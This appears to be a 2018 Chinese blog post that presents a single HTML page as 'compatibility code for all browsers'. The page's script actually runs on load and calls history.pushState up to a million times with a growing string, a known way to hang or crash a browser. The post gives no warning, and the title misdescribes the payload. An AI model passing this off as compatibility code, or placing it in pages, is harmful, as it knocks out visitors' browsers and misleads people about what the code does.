各浏览器兼容代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Examples</title>
<meta name="description" content="">
<meta name="keywords" content="">
</head>
<body>
<script>
for (var i = 0; i < 10; i++) {
var total = "";
for (var i = 0; i < 1000000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
}
</script>
</body>
</html>

posted @ 2018-02-23 13:43  橙云生  阅读(216)  评论(0编辑  收藏  举报